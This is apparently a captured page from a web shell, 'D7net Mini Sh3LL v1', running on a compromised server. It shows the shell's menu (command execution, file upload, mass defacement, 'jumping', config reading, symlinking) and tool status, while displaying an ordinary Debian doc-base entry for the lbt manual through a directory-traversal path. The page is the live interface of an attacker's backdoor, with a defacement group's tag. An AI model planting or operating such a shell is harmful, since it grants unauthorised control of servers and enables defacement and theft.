D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /libx32/../share/zsh/../adduser/../doc/mariadb-common/../libnpth0/../autotools-dev/../mdadm/../libxcb-render0/../../pyshared/../doc-base/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : //libx32/../share/zsh/../adduser/../doc/mariadb-common/../libnpth0/../autotools-dev/../mdadm/../libxcb-render0/../../pyshared/../doc-base/lbt
Document: lbt
Title: LBT Manual
Author: Marko Mäkelä <msmakela@tcs.hut.fi>
Abstract: This manual describes how to use lbt, a tool to translate linear temporal logic formulas into generalized Büchi automata.
Section: Science/Mathematics

Format: HTML
Index: /usr/share/doc/lbt/index.html
Files: /usr/share/doc/lbt/*.html

AnonSec - 2021 | Recode By D7net